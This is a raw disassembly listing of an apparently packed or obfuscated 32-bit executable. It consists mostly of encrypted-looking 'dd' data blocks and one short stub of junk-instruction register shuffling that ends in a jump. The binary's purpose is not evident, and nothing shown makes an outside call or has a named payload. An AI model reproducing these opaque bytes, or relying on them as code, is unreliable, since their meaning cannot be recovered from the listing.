856CA4EDh, 32BFF33Ah, 7F7E98E5h dd 25DAAF0Eh, 0F81D9ADFh, 4BA0FAFDh, 6F702FA4h, 0E4D33CA0h dd 22F5AE1Fh, 4E3FB65Bh, 5E4780BDh, 23EFA275h, 22BAA45Fh dd 0DDD025CDh, 0E758B106h, 9D9CA0F8h, 74F951E6h, 5E35B83Fh dd 78AF8E99h, 0FEEC8046h, 0D4563483h, 90E1A0BCh, 46AE9053h dd 17E411C1h, 5A481B36h, 55860B99h, 0AF6C27A2h, 0E70EC44Dh dd 88F22DE6h, 0D126CB03h, 33C2F479h, 0E114C64Bh, 2ACC1116h dd 0F8AB12CBh, 618CADB1h, 0C6793h, 54A35600h, 9B5A7AC7h dd 52A351A0h, 0A05F78C5h, 51A4569Bh, 0F98A45C6h, 0D4191EDFh dd 0F746D120h, 0CF1E19D8h, 0C548D322h, 88741069h, 37F09F20h dd 1F426BDh, 0FCC394F6h, 39D804CCh, 0BE458D78h, 0C6F558BDh dd 70872CF1h, 0F12609EBh, 26CF861h, 19D89ADFh, 2856EAC8h dd 4F94A6BCh, 7E819AEFh, 0D4015039h, 2FB41621h, 658B7683h dd 0B8789D41h, 67C651A6h, 7997EC4Eh, 0F401B57Ch, 79AE4727h dd 299CA079h, 8A4BB0D1h, 4477FAB5h, 261B4FD9h, 0BFFCF79Fh dd 0AF3426DDh, 0B924F706h, 0F100B035h, 0A9BA5726h, 2833F00Dh dd 61B93CD9h, 9C0DE40Ch, 2589F4C7h, 0F6650C54h, 1CDFD35Fh dd 0EC4EC441h, 60DB8616h, 0FF89F28Ah, 6718604Eh, 0C2FD001Ah dd 0C78B28F5h, 604E922Eh, 8C574A18h, 0A8D9D1B2h, 0B4EC9A49h dd 789DE467h, 0D1B20C7Dh, 776ADBB6h, 2904D7D2h, 18607B9Ch dd 0BA904BA6h, 7B2FB922h, 37971860h, 607B029Eh, 0FCC7BA18h dd 0B24572BFh, 3ADB30C8h, 2811D2BBh, 18607B9Ch, 898E4948h dd 65688F44h, 7C087109h, 0E818607Bh, 1CA85129h, 0C818607Bh dd 0AE2B0EC9h, 4618607Bh, 70A568F3h, 0D3187285h, 3E03D81Dh dd 136B5E99h, 19AEE7F2h, 9B2910Ah, 59EE29F6h, 159C1E4h dd 70AB4A6Ch, 0E0E4C80Dh, 8A29B6E1h, 4BA3B86Bh, 0E8E114C6h dd 0E65BF02Bh, 0E88A5BC3h, 9FC32ADBh, 0DBCE2FC9h, 1E00BB08h dd 19D4ACB5h, 0DD4112E4h, 0D874259Dh, 0B03525DAh, 1FF4F504h dd 5954A352h, 0F24C3D7Ah, 3F57F18Ah, 6F0FE79Fh, 9F3F7A06h dd 0F42FE2E7h, 3FB94627h, 23A3E79Fh, 0FB943542h, 5A9D53A3h dd 75C3205h, 52CC0FEEh, 0B342D09h, 886FA4E9h, 60C8C33h dd 65AA0000h, 0F84944B1h, 11E619D8h, 27612AFh, 0E96F9ADFh dd 0E9ADF12h, 9ADF0E56h, 0DF1101C7h, 26CF279Ah, 9ADF119Ah dd 7F8C4F42h, 1EB7A7C2h, 9CA0200Dh, 0A6FDC0B3h, 8BA7BBA0h dd 0A529262h, 96410000h, 658DD467h, 90468B90h, 6A8BD265h dd 9741908Bh, 9D5AD166h, 0E09EC0Eh, 51E613BFh, 90EE50Ch dd 53E80FC4h, 41DB74DAh, 0FD9F208Eh, 0F126900Ch, 39F88306h dd 1F8A6D8Eh, 530ECD26h, 0A45FE8D1h, 9156FF5Fh, 4F9CDFD9h dd 0E992EA54h, 9F20C15Fh, 4CCF0C07h, 7F769DF2h, 3582550Eh dd 5871D082h, 0ED6D8EE6h, 0BA8725C2h, 0EA0B6EA9h, 58995F7Eh dd 882CC199h, 42A38069h, 0D2AB5765h, 50AF6C07h, 13AD46AEh dd 0CB9AD9A1h, 0DF2A03D8h, 0D46B3F65h, 79E23C5Dh, 33C7840Ch dd 33C2EF74h, 0BA1ED9BAh, 0F835C6C7h, 94059F38h, 9A433041h dd 3041940Eh, 22E1BBB6h, 0E2D47DDDh, 9E363F5Eh, 3B86F7C5h dd 1C71C0BFh, 5BC300F7h, 0A94C6E03h, 3F21F6Eh, 0E90CA9F8h dd 4D64E930h, 5D07C2FEh, 970h, 0B245B45Fh, 0A9AE436Bh dd 0B447AE64h, 0AEA94C6Dh, 0B348B55Fh, 0CAEC7F3Ch, 35E1302Bh dd 0C7EE33C8h, 31E62B30h, 56B831C6h, 208F63FDh, 0AE2EDB9Fh dd 76126B13h, 0EE9ADF02h, 0DE53E833h, 2D57D59Dh, 4BF9271h dd 8C2DC21Ah, 58A38069h, 0A0D300F5h, 0F55EFE9Ch, 9F26EB6Bh dd 0EAE320D3h, 127B7A97h, 7A500B76h, 0E338BDF5h, 5EC0D958h dd 59CD00F5h, 4571FE99h, 0A15E35B8h, 0F5953396h, 0E9A9ADFh dd 59ADFF5h, 4C2D0D28h, 0A5CE0354h, 30CDE7CAh, 0AE4628F3h dd 429BBD59h, 9ADF27A6h, 5BA0631Eh, 0DFB83D02h, 0BA5EA39Ch dd 4E91523Bh, 7B7A97ECh, 13865112h, 20A00B9Ah, 0A0933A9Fh dd 0EB939F20h, 0DF5FF692h, 68B36E60h, 0C0F9FC19h, 0B3B465FFh dd 9943F1DCh, 88000008h, 44898E6Dh, 8BD2658Ch, 468B9065h dd 88D56295h, 138C8F6Eh, 0E411C358h, 0FEE0A57h, 0E70EC50Ch dd 0DE80D54h, 0C62F8F0Ah, 9F208C3Ah, 1307F5A2h, 2DA0577Eh dd 0FD1776h, 0F601D68Dh, 8D648C37h, 0AE8FE852h, 149CDF9Dh dd 0F0256C5Dh, 4098F205h, 20850D97h, 0FDBAB99Fh, 44364FEAh dd 85B943ACh, 6E259F20h, 29BE40A9h, 0E4A96E8Fh, 1156C82Fh dd 42C512E3h, 5DE790E8h, 99F2085h, 5380CD0Ah, 7F35BAA4h dd 0B638A176h, 852BB51Eh, 0E0939F20h, 0B1A1561Bh, 2085BC48h dd 0B669289Fh, 3B6FB3C4h, 1D781393h, 1271EFDAh, 0A2558245h dd 0CADC1595h, 27BC8275h, 0BB3AD98Ah, 9CE11D2h, 2C2E2h dd 0F213D600h, 0E17A5D0Fh, 9ADFF947h, 89A104FFh, 0D764B75Bh dd 8ADF3F5Ah, 451E8F6Eh, 0F6E07CD5h, 0A55C9ADFh, 7F60F852h dd 4191A09h dd 0A03C95E8h, 1C9ADF4Fh, 0FC5D9A65h, 9CA05DDBh, 3F163A4Bh dd 0E1032ECh, 4A34EFC9h, 974010C5h, 9F26740Dh, 8405BAB9h dd 0A25582CFh, 3EAF6C27h, 267427BFh, 379FFF9Fh, 2674029Eh dd 6AC7BA9Fh, 1669AE51h, 0F2266B41h, 746BF55Eh, 20D39F26h dd 0EE29EAE3h, 24A3E459h, 9F5E78B7h, 0EC8C752Eh, 9F7F443Ah dd 59C91136h, 0E8768F99h, 0AC634AF0h, 0B76C8929h, 5BA3DDAh dd 9D5398F2h, 397E5558h, 0B538BFF4h, 1ABEA74Ch, 6F9FF2DBh dd 0C2F03D82h, 26D9BA33h, 0F805AF34h, 8B6A8CF5h, 0F3888358h dd 9B431B3Eh, 0BE0844CAh, 47941A9Ch, 0A04A91E6h, 943CD19Ch dd 64B76C5Dh, 5CB18988h, 0D803BBAh, 264A28B0h, 41B4619Fh dd 19DCF948h, 12A55CB0h, 431873E1h, 7B97044Dh, 679582h dd 0E00B0000h, 66FFB661h, 8B4841B4h, 0F38DE658h, 6B9ADF02h dd 6A136BB8h, 9CA01029h, 4CB11CD7h, 9F26108Ch, 9C5310C5h dd 447F5455h, 1CDBF849h, 9F1CE7B1h, 6576066Eh, 551E3F12h dd 310EC9D2h, 953BD0A6h, 5AA39B60h, 3A827BB3h, 0CAA44629h dd 0BB00D220h, 12914h, 36DD3200h, 2515CEBFh, 266930CCh dd 22F5AC9Fh, 567E13BEh, 18752E9Fh, 72BFFCFBh, 0B737B245h dd 83937DA6h, 7B8096B0h, 0EFB78548h, 0CC916699h, 5CE2CB2Ah dd 93C15BF4h, 867D9ADFh, 30C7EC31h, 0EE2041BDh, 76AE447Eh dd 0DBF84592h, 17BF1F1Ch, 0DF1A22BEh, 0CBC6A39Ah, 47BBE74Ah dd 599E55h, 9ADF47ABh, 69EE09AEh, 9F567C11h, 5772CF5Ch dd 5AE68FE7h, 29ADF5Fh, 0A72CC0Fh, 5F7F0972h, 2CE79ADFh dd 2EC18EEFh, 0C4BF9CA3h, 486D025Ah, 0AFD56F08h, 92919F24h dd 11C38A4Dh, 8F54A352h, 39DD328Ch, 3B12D1BCh, 0D4995E93h dd 0D74D2E22h, 5B554B82h, 0BFF692EBh, 0D2039F24h, 0FE9AA23h dd 0D70ECF14h, 0B8A7B905h, 5AA6F35h, 7E990000h, 7D357C7Fh dd 789EE378h, 82337A7Dh, 7F99E873h, 4502797Eh, 66F104B6h dd 0F9FEFB17h, 61F6FDB4h, 0FB00F71Ch, 29B31C82h, 959F2093h dd 0F213F8E4h, 0CF5823AAh, 0C58C4FCAh, 0F378E213h, 47BA33C2h dd 865D50ADh, 21797E39h, 5475BE40h, 6D1EF4Dh, 35B9A37h dd 70AB4A6Eh, 7E1309EBh, 0EE30B58h, 0C0FBD8D1h, 0F51F4471h dd 0F3CE8508h, 0CF75318Dh, 1B8E5118h, 84F601B6h, 9CF97473h dd 0E33B8D03h, 0DFEEEE7Ah, 609B569Ah, 0C6283DBh, 427A1622h dd 127F61B6h, 9AD8824Ah, 0DF82ED6Bh, 126B139Ah, 9ADF8276h dd 24A54C83h, 41968D6Fh, 26CC77B6h, 0BA05DECFh, 3F73F860h dd 823DC7B2h, 0EAA99ADFh, 43A44D2Dh, 19CDF1Dh, 1ED31802h dd 0BAFDD6D7h, 0E4053CCFh, 0EF79E27Ah, 579F2005h, 56FF5F9Ch dd 995F3A99h, 5A914C47h, 3FADAEA3h, 4B6E68Eh, 72A50000h dd 89297883h, 74A2EF6Ch, 8E277681h, 73A5EC6Fh, 39F67582h dd 6AED10AAh, 0F502EF23h, 6DEA09A8h, 0F704F320h, 25BF1876h dd 0A19F2090h, 7E13ECE8h, 762DA057h, 2E37DCA1h, 0A380698Ch dd 0EF246D60h, 0FA1E38EAh, 779DB4EFh, 8B580B7Eh, 72A1E658h dd 8E490A83h, 83FFE89h, 3DD20450h, 0C019012Fh, 9ADFD024h dd 3C1EE1A0h, 2E3BC394h, 83AB7FC7h, 8560EEBEh, 0FCC8D62h dd 0A0DF592Eh, 5B7A079Ch, 24CD319Ch, 9F26DF98h, 0A8924D44h dd 26DFB54Fh, 0AD72319Fh, 0DF1BC13Ch, 83309F26h, 0D1DA2F56h dd 0D70CE742h, 0AD446BD6h, 5ADD8C3Ch, 0FBC04B29h, 0C433E025h dd 4DCD0AC9h, 827B9D04h, 6695h, 7E130B00h, 0CD5A9D58h dd 0FDBD3770h, 8BDBA565h, 0E3E611C6h, 0F28BF330h, 9CA092A1h dd 44E079E1h, 9F2692h, 1D2B601h, 67C7023Bh, 9316C9EDh dd 8E1AC31Bh, 369F268Ah, 3F9D803Bh, 3B9F268Ah, 24350BD0h dd 3F01BAFFh, 7B9CF1E5h, 8552117Ch, 7B654C85h, 39D72C82h dd 25D0FFBCh, 6E000001h, 8CFD0019h, 26A004D7h, 0BC1406F1h dd 0DF028913h, 793E359Ah, 0BC59AE10h, 85EE5039h, 9ADF02FBh dd 0A873B063h, 0CBBE3FD9h, 0F6AD9273h, 0BFAA7153h, 758035FCh dd 0DE80D74h, 8DB4C52Dh, 11AF7320h, 0B67C0871h, 29E89ADFh dd 4548AF64h, 6BCE498Eh, 9ADFAA1Eh, 0A2AC3546h, 8F238F54h dd 25D0054Ch, 0F504B035h, 5FDC1FF4h, 9712E512h, 0D225D217h dd 1A3BF205h, 0EED29740h, 7D129CA0h, 772C9D58h, 0CE4948A4h dd 0FFFE176Ch, 0C65D58Eh, 9F26D670h, 55E235ECh, 0F55DBDD8h dd 0A86E5AE4h, 0B704AE2Ch, 5A41E356h, 78E2A199h, 2734C1F3h dd 0FCBD40DAh, 0ADB206E5h, 0D9690BBEh, 0C8000002h, 449CE2Dh dd 0CB1225CCh, 64BD025h, 0C81522D5h, 0D34CCF2Eh, 0A4518318h dd 4FAE4A97h, 0A74E85CCh, 4DA84D94h, 86EF4FCAh, 9F2096FAh dd 1347B562h, 896113F2h, 7C378A6Bh, 28F5C282h, 92EC6F8Eh dd 0B11CD9FDh, 0BB5825F2h, 62F53C1Eh, 3C6041B4h, 53A25288h dd 7946795Ah, 0BC3B1C7Eh, 8F7454B1h, 826B8A2Ah, 37995EA1h dd 0D64861E0h, 0D0046791h, 38EBA821h, 4119DEB5h, 569D5499h dd 0FA22066Bh, 4A8DED91h, 0A045A2EFh, 0E101E29Ch, 657A3152h dd 4C95F7C4h, 0CC0449A8h, 34EFA425h, 0C89434B9h, 35949F26h dd 1863ACA2h, 9B43827Bh, 26D4A642h, 38451E9Fh, 8395F895h dd 1C7B6699h, 4220F424h, 3634DB20h, 52000001h, 0EDE015BDh dd 26FFE136h, 3E8306F1h, 0E70599Ch, 2F9A5B79h, 0F5C6A774h dd 0ED9ADF1Eh, 407B7A98h, 2631C4F1h, 39C32CC4h, 0A59ADF06h dd 0AF6429EEh, 49AC4EA3h, 0DF0654F0h, 0D5F3109Ah, 2E613D51h dd 0DECF14CFh, 0AD63102Dh, 888E5D48h, 573FE7A2h, 0B14AB28Ch dd 9ADFE517h, 4548AF64h, 0A4772A8Eh, 0C84831CAh, 0DDF69CA0h dd 2A21B211h, 6FCF14B6h, 402BD28Eh, 1BE05170h, 8F29BE20h dd 6F31F6Eh, 0BD083h, 9D362841h, 995A9D8Bh, 9A439B33h dd 9ADD1D0Eh, 0C662BBB6h, 7E9ADD1Dh, 76DE4083h, 0E338C5F1h dd 0A1797C9Eh, 0B0C50EC0h, 1CF7F201h, 260908C9h, 6FF456D1h dd 5E35B845h, 2E22D499h, 0DD663BC5h, 33F0A39Ah, 0B25F4DEAh dd 0F5BF2AADh, 13Ch, 0EE69882Bh, 75826F9Fh, 0F06B8A28h dd 728578A1h, 0EF6C892Bh, 0F620B370h, 9ADF407h, 0F3226FECh dd 0DAAF704h, 92EC6DEAh, 20975FE9h, 0A212079Fh, 75CF426h dd 0C89B0EEBh, 0DF02CB55h, 4380739Ah, 0A94C69B8h, 3F5FB0D1h dd 0B86E66D1h, 0EE86E863h, 0DF0FFB85h, 0F08CE59Ah, 6C9ADF0Fh dd 8B5043B5h, 6F12629h, 2AD32B83h, 9ADF029Eh, 0C1904B46h dd 0C156E114h, 88F1496Ch, 9CDF9DABh, 56A1569Bh, 613B8053h dd 9A13E210h, 7F6A8727h, 0BAA45FA4h, 0B79D7BA9h, 67C68788h dd 826BB04Dh, 5781E20Fh, 9914E314h, 0CF8405BAh, 0DC592A14h dd 538A340Dh, 77C64196h, 0CB329B5Ah, 0FCADECAAh, 6F320564h dd 0B35B9542h, 0F0C54EC7h, 265BE58Eh, 1003BEAAh, 0F5266BD3h dd 0EB32B502h, 40BE2FC6h, 0FEEF06ABh, 6A8BD225h, 0AC1DE0F9h dd 31522CF7h, 1C39B3C9h, 0D4C51269h, 784E0968h, 0E734C1F3h dd 0A07A7D9Ah, 5059F38h, 0A4C1BEAAh, 47129B10h, 0CF0CD77Ch dd 7D0054Ch, 0EAD0D950h, 0FFCB36CAh, 6E19332Fh, 43F1DC27h dd 14h, 0F302B63Bh, 8F6E87FAh, 0D81D8754h, 45B861A6h, 684C8F44h dd 8904F326h, 715C9B38h, 8702F120h, 6E5F9E3Ah, 8904F123h dd 6E5F9E38h, 8A03F223h, 715C9937h, 8801F020h db 0F6h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] loc_5D4D5B: ; DATA XREF: .XComp0:off_448E58o ; .XComp0:off_448E6Co pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push 43F5h mov [esp], ecx push ecx mov ecx, 5FF87EBh push ecx sub dword ptr [esp], 3F62EC3h pop ebx add ebx, 3F62EC3h pop ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push eax mov eax, ebx push ebx mov ebx, 8 add ebx, ecx mov [ebx], eax pop ebx pop eax push dword ptr [esp] pop ecx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_583A19 ; --------------------------------------------------------------------------- db 0E7h, 0B8h, 5Ch dd 305FF97h, 74E0FFC5h, 0DD6D9791h, 8303A6C8h, 0E732A133h dd 544C5B05h, 837AA9DAh, 0CC612D36h, 6C476A2Eh, 9761A71h dd 0F96050F4h, 0B1719F4Dh, 4D01F335h, 0C7534FE1h, 3A5D17C7h dd 949FB14h, 8F7B1EAEh, 4C59DA3Bh, 0E1D24CAh, 0F13DA593h dd 0DD14AA52h, 0FE3A89B1h, 53455F4Eh, 0A8746120h, 7E2C9AFAh dd 0A27E3E4Fh, 0E847C551h, 8, 0F4982FF8h, 4C07830h, 5FF3BF0Fh dd 81C68B66h, 60E6C7h, 685CB000h, 1805h, 2850Fh, 0E58A0000h dd 0FFC38B5Bh, 0C9816637h, 0B55A5420h, 0A5F2812Fh, 60104371h dd 68B6D181h, 51B9157Fh, 616E5FF4h, 6961EA81h, 13E82153h dd 0EA000000h, 0E913FCA6h, 0F03C6F4Dh, 0D425C6Dh, 3FEB2641h dd 0E960F75Fh, 0Bh, 6AB16C34h, 4E294C00h, 661E0E83h, 5861C38Bh dd 7EC2EA81h, 17896F63h, 7CE3BE66h, 0FC8BEF81h, 0F6817A12h dd 48357726h, 0FC87C781h, 0F4B7A12h, 1785h, 2EB96600h dd 30E9D3h, 372E0000h, 7DB6035Dh, 9A4179F8h, 0CBAA622Eh dd 48D0Fh, 0B8660000h, 64E9DC27h, 18FFFFFFh, 907F678Bh dd 6B750430h, 11FE1D6h, 0C8B9595Fh, 0E2E94D80h, 0A9000000h dd 0D75B1797h, 0C3CA459Ch, 0DAB6E1C8h, 95A7ACABh, 0F44592B3h dd 0B395A1h, 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h dd 0F07B6B5Ch, 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h dd 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h, 0E0E3129Dh dd 5E99h, 0Ah dup(0) dd 1D07E900h, 0E3680000h, 0E905FF9Ch, 0FFF9E4F6h, 0FF9E1E68h dd 0E4ECE905h, 8168FFF9h, 0E905FF9Fh, 0FFF9E4E2h, 0FFA17568h dd 0E4D8E905h, 1E68FFF9h, 0E905FFA2h, 0FFF9E4CEh, 0FFA2D168h dd 0E4C4E905h, 0BC68FFF9h, 0E905FFA3h, 0FFF9E4BAh, 0FFA4D268h dd 0E4B0E905h, 0D768FFF9h, 0E905FFA5h, 0FFF9E4A6h, 0FFA7C868h dd 0E49CE905h, 868FFF9h, 0E905FFA9h, 0FFF9E492h, 0FFAAEA68h dd 0E488E905h, 0D68FFF9h, 0E905FFACh, 0FFF9E47Eh, 0FFADD368h dd 0E474E905h, 0BA68FFF9h, 0E905FFAFh, 0FFF9E46Ah, 0FFB24068h dd 0E460E905h, 0BE68FFF9h, 0E905FFB3h, 0FFF9E456h, 0E517FAD5h dd 0B31DE02h, 0DF05FEECh, 0A32D3F8h, 0D408FFEBh, 2894C33Eh dd 349A3DDFh, 1BC225D7h, 2E8F36EEh, 0E2973DDFh, 96EB4831h dd 6020C523h, 6D8D638Ch, 1D0A86F5h, 0ED2A5300h, 0FAA72995h dd 0CD3FFA2Fh, 4E40B733h, 2DB6581Ah, 0B168A54Ah, 0EAB2CB88h dd 0C3282995h, 4D9F5C42h, 9FB1CDC2h, 2B05290Eh, 0C871A93Fh dd 17808F2Fh, 896055B4h, 0B78BC865h, 0E52F8F00h, 0A114F1DAh dd 4F8EE4C8h, 1D05F78Bh, 910401F9h, 9D167302h, 42CDF123h dd 8B846C4Bh, 97C3B20Ah, 88D631C7h, 17F2D9E6h, 0DE33C396h dd 48D63602h, 609E5D2h, 0E834DA8Fh, 57h, 0E821CC33h, 69FFF046h dd 0E34B0831h, 0FE2F8F97h, 72078C01h, 0F0239D72h, 0B4B33ACBh dd 0CC8C010Ah, 2FC995C1h, 4177020Ah, 2493866h, 5C10DECh dd 48D6716Bh, 0F11AC43Bh, 0DFC210FCh, 1AEED21Fh, 8CE33FCFh dd 3E000001h, 0CF255803h, 0E5A2239Ch, 0C035D2FAh, 0CEEF45E9h dd 777E8931h, 805D8CA2h, 0BB1F088Dh, 17A0494Ch, 0C6B764B3h dd 43299685h, 4F0A8B46h, 618F30BFh, 863E4E05h, 36E51CEDh dd 2995ED43h, 870EC3C0h, 349C3FA0h, 40FDADBh, 2995ED79h dd 9C009F6h, 605E7D0h, 0FA34DA8Fh, 4637E41Dh, 0C32995EDh dd 0ED3445D6h, 0F4B12995h, 2936193Dh, 0D32995F2h, 180123EAh dd 0E84732E1h, 0D7C42995h, 617B837h, 95E82455h, 2DE4A129h dd 29E00BF4h, 924ED8A4h, 2CCB20EBh, 0D19851E5h, 111106FBh dd 0D678A390h, 27941C8Ah, 0C702D7DEh, 0C649A512h, 7EB21ACFh dd 1140074Bh, 649D9ABCh, 77976E5Bh, 8F298ED4h, 3627412Fh dd 0B44F61B0h, 6641ABFCh, 468BD5AFh, 8069568Bh, 85F38695h dd 0B370239Dh, 8CA2777Eh, 0C820B6A2h, 3EEBE223h, 68F34EF3h dd 239D8515h, 0C52A9592h, 0CA89A648h, 2999782Fh, 9EE5D2ACh dd 0D44F8A60h, 0FE1DE41Dh, 1DA2107Bh, 4EEB0BF8h, 43FE09B1h dd 54FA13BCh, 48CFFBDAh, 0A210720Bh, 0F732EF1Dh, 0F3B3291Ch dd 536253BEh, 1977h, 19CB46A9h, 47FD12AEh, 13C93AA0h, 46FE07B4h dd 18CC3B9Fh, 0F4D887FAh, 0E806F113h, 0F7D60123h, 0E20BEA12h dd 2ECBF92Bh, 96E98CEDh, 0A4640923h, 72A7608Ch, 525D839Ah dd 0AB4B650Fh, 84896691h, 4E7F775Dh, 0B2F15C78h, 9F75929Ch dd 0DCFC2CD3h, 0E77A520Eh, 2C6A26F2h, 0FF78BE50h, 2CDBFF69h dd 56053CE5h, 29968523h, 0E653E3A0h, 8F97F535h, 0EE13102Fh dd 0C22EDD1h, 724930D3h, 0F28239Dh, 0ADFEE2EAh, 0C067F427h dd 9D584A33h, 34DAC723h, 33AD99C5h, 0F448D670h, 10Bh, 0FA0BB047h dd 0A2CDFFDh, 8831CE34h, 0B51AD97Dh, 85D2AB68h, 204F2996h dd 954449BAh, 1720955Ch, 12AD54B3h, 16CF5FACh, 8B846C53h dd 8A7BE86Bh, 0C8252996h, 0BE63AA13h, 9680DC9Dh, 65AC5929h dd 7E9543BCh, 96809CDDh, 0A56C1929h, 5BD57930h, 33BA537Ch dd 30E931A7h, 1DCFEE09h, 4B9081Ah, 50458CC2h, 8CD27599h dd 3F2F8EBAh, 38AE9A42h, 681861F2h, 0E895239Ch, 915BF821h dd 6B299858h, 4C6E6954h, 0AE6336B7h, 8EB37088h, 86BE4971h dd 2F8C7B5Fh, 0BEF1C8E6h, 3CB2B3BCh, 6E000018h, 5F86BE53h dd 896C907Fh, 5580A45Fh, 8C6B9174h, 9F75A760h, 72953562h dd 4AC12BCAh, 81883392h, 0BA537C5Bh, 7C976082h, 2396E801h dd 0CE27C97Eh, 0D87E8931h, 0BB24B119h, 6A629752h, 4459BCDCh dd 46D50CD0h, 2995A033h, 0D963F3B0h, 0E524C730h, 23E207F0h dd 44A948EEh, 76B23BACh, 0DD1475FEh, 97D7B024h, 5FD403D2h dd 8CCB65CFh, 0B5567863h, 47B0797Ch, 95E873A2h, 12299685h dd 0D9DC15h, 2FDEFFEEh, 2A932C0Dh, 36A453E3h, 0AC014CDh dd 907D6264h, 6F56373Ch, 0BC2106DFh, 2B1AB51h, 88B1E97Fh dd 0DB343384h, 95F43D40h, 0E7CDBA29h, 0AB01993Bh, 0B9580D5Fh dd 0B48195D1h, 8F9A6BA7h, 24C1BE2Fh, 26E30AF5h, 0F154FAAFh dd 1B279A85h, 1C5DFE43h, 0A72C1338h, 0F6640C3Bh, 0A15E4055h dd 1B47D18Dh, 508135E6h, 4DBF320Ch, 3DF7157Ch, 96F5D7F8h dd 0AAFF65C3h, 3DD1539h, 0D1FC8CD6h, 4B88D438h, 0E79203CEh dd 0F02BECD0h, 261A6C8Dh, 42D41D0Ah, 9538B026h, 0BD84BD74h dd 1A6CDB9Eh, 8BAB5826h, 32186DAEh, 807D2C17h, 0B217A059h dd 67876253h, 46746788h, 0A6D784BDh, 23201DA7h, 9079AB66h dd 0A2D4E73Ch, 0F1B1C3F4h, 6C2BBA84h, 3DAC4287h, 8B8E6DA0h dd 9BC7FCCh, 16D9FDE8h, 0E40B0000h, 0F0D0F72Dh, 0F0DAFD1Fh dd 0E506F113h, 0F1D9FC20h, 0DD54EE16h, 13C93E9Eh, 0DB010AB4h dd 438D1FCh, 0EB11FCE1h, 5A233009h, 0D72396E6h, 638CCE72h dd 21B723AAh, 0EBE221C7h, 0EE19C13Eh, 42F732E7h, 8F9A3911h dd 0B567142Fh, 12C71385h, 417337BAh, 48876D98h, 95A2B4A9h dd 967EDC86h, 5F9A8729h, 0ECF6326Dh, 0D4850801h, 2C16F200h dd 6F75E2C8h, 0E37303D9h, 0C3FC790Ah, 567A1DA3h, 26A76687h dd 7237BE73h, 0A3C398E1h, 6F68151Dh, 5038BD4Ch, 0EB752935h dd 847F6956h, 7F479372h, 46DD9FEDh, 0AAD380B9h, 271DA3B7h dd 0A85B7D7Ah, 8A9A86h, 6F650000h, 78BC6C73h, 98C7111Eh dd 0F7C7BF24h, 0FF161C32h, 67124169h, 0E4299685h, 0C47F237h dd 2F8FD455h, 1E5FFC45h, 9B239D36h, 361C5DFEh, 0EC99239Dh dd 0AE91125h, 11BC23E0h, 0ED24F5F8h, 2B4E0D34h, 0A8239D36h dd 0E1DE5BFBh, 89F41FFAh, 6239D36h, 252CD019h, 239D3652h dd 59FA23CCh, 239D3620h, 0F70CAE9Dh, 23EE23F6h, 30DB01FEh dd 0F04AECBDh, 0FE23E605h, 0ABCF1216h, 0B046AF8Eh, 65857237h dd 9C5B8CA2h, 0A5000015h, 124169FFh, 29968567h, 47F237E4h dd 961F420Ch, 0A574582Fh, 496C54AFh, 0E7945CF2h, 0E326C532h dd 1AC037F2h, 11E845E9h, 31C54AA6h, 1CBE1DC2h, 0FE33E6E7h dd 0F811BC43h, 562734F5h, 0D3239759h, 41FB1BD6h, 2DD43996h dd 0ECE12E92h, 29D0193Dh, 0D6D72C8Eh, 0DA339C03h, 74F006D3h dd 0D281B8E2h, 2996F2CDh, 0C8C8E4FEh, 0B666CA51h, 9439C67Bh dd 0BB24C379h, 9A4FC020h, 799A5Fh, 7D1D9867h, 0E5756E80h dd 34D7F573h, 0F821E8C1h, 0F419B641h, 666B0E4Dh, 3BE81D98h dd 8F66381Bh, 0B2A12391h, 0D1ADFF0Ch, 0B0EDA11h, 0D14EAD64h dd 0C3A4F0ADh, 14E5C3B2h, 0B8170000h, 9C44A359h, 0C426D173h dd 913A9D3Fh, 0C525D074h, 9889A42h, 0BF65A24Ah, 0AF55B618h dd 0C064A548h, 0AF55B815h, 96E77445h, 132396E4h, 91E89A5Eh dd 82299685h, 0EE13CE14h, 0FA1CE7D1h, 961E5457h, 796B752Fh dd 0CD38A192h, 0CBBB11C8h, 0F128E1FAh, 0CAF2E906h, 28E1B83Dh dd 720B48F1h, 0EF2396EBh, 0F5121C32h, 0EB6E0F4Ch, 3EEB2396h dd 0AEFD8FD6h, 0CC62AD68h, 944DC01Dh, 829BD2Bh, 250693E3h dd 0EA0313DEh, 85BCE670h, 40B5527Ah, 80759437h dd 61CE60A9h, 902A98B2h, 65B67329h, 0BEFF43BEh, 3CCAABC4h dd 6E000014h, 5F86BE53h, 896C907Fh, 5580A45Fh, 8C6B9174h dd 9F75A760h, 72953562h, 4AC12BCAh, 81883392h, 0BA537C5Bh dd 7C976082h, 2396E401h, 8C27C97Eh, 4423AA63h, 6B9C409Bh dd 737AAF6Ah, 37BE4774h, 787D8E30h, 0B5697590h, 3046CE73h dd 0BC012DF8h, 8AD827C7h, 16EDDBE4h, 80510B00h, 3F164D2Fh dd 0F000000Ch, 0D9FF69FFh, 0BC31D2F8h, 0DBB124EDh, 0FCECE963h dd 52975276h, 304C6CA7h, 56532F95h, 62AB14ABh, 7B625DBAh dd 6489688Eh, 40B55477h, 0A62DA069h, 2395FDCFh, 0F4DA56C0h dd 0EC27D217h, 298F1262h, 0C273403Dh, 0D8BEFE5Bh, 1389CED7h dd 14BB0000h, 40A047FDh, 20CA2DCFh, 359641E3h, 21C92CD0h dd 0ADE43EE6h, 339CEEEh, 0EB11FAE4h, 0F428E10Ch, 0FB21ECD1h dd 8AF320D9h, 72396E3h, 46CE9E62h, 0B18274D3h, 46A54953h dd 0C87164A9h, 0D87E8D2Fh, 4E69B419h, 0FF7A996Eh, 7C299633h dd 64434A7Fh, 1522937Ch, 0BE5C51B4h, 8D5B034Fh, 90837064h dd 8D1E29Eh, 